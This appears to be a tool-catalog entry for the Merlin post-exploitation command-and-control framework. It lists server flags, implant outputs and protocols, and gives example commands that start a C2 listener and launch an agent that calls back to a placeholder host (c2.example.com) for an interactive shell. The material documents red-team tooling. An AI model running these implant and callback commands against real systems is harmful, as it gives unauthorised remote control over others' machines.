Cross-platform post-exploitation C2 framework written in Go, supporting HTTP/2, gRPC, and WebSocket communication for agent management.
merlin-server {flags} 📎 flags merlin-server {flags}Sandbox: execFile · Timeout: 3600s
agent.communication command.control.c2 implant.generation post.exploitation adversary.simulation | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
flag-i | string | No | - | Server bind IP address | -i, --ip |
flag-p | integer | No | - | Server port | -p, --port |
flag-parallel | integer | No | - | Number of parallel jobs | -parallel |
flag-verbose | boolean | No | - | Enable verbose logging | -v, --verbose |
flag-sleep | string | No | - | Agent sleep interval (e.g. 10s, 1m) | -s, --sleep |
flag-jitter | string | No | - | Agent jitter percentage (e.g. 30%%) | -j, --jitter |
flag-k | string | No | - | Kill date for agent | -k, --killdate |
flag-proto | string | No | - | Protocol (http2, grpc, ws) | -proto |
Inputs
network.target.ip Server bind address
network.port.number Server listen port
payload.type Agent type (HTTP2, gRPC, WebSocket)
Outputs
agent.session Agent session
implant.binary Generated Go implant binary
network_trafficprocess_spawnfilesystem_write Produces
agent.sessionimplant.binaryConsumes
network.target.ipnetwork.port.numberpayload.type| Resource | Value |
|---|---|
| CPU | medium |
| Memory | 128 MB |
| Network | high |
| Disk I/O | low |
Start Merlin server on default port
merlin-server --ip 0.0.0.0 --port 443Start Merlin server with verbose logging
merlin-server --ip 0.0.0.0 --port 8443 --verboseGenerate a Windows agent
merlin-agent-windows-amd64.exe -s https://c2.example.com:443Merlin is a cross-platform post-exploitation C2 framework written in Go, providing HTTP/2, gRPC, and WebSocket-based communication between the server and agents. It supports multiple operating systems and is designed for red team operations.
| Protocol | Description |
|---|---|
| HTTP/2 | Encrypted C2 channel over HTTP/2 |
| gRPC | Bi-directional streaming with protocol buffers |
| WebSocket | Real-time full-duplex communication |
# Server setup
merlin-server -i 0.0.0.0 -p 443
# Generate agent and deploy
# The agent binary connects back with:
merlin-agent -s https://c2.example.com:443 -sleep 30s -jitter 30%
# Interactive shell from server
# Once agent checks in, use 'interact' to open a session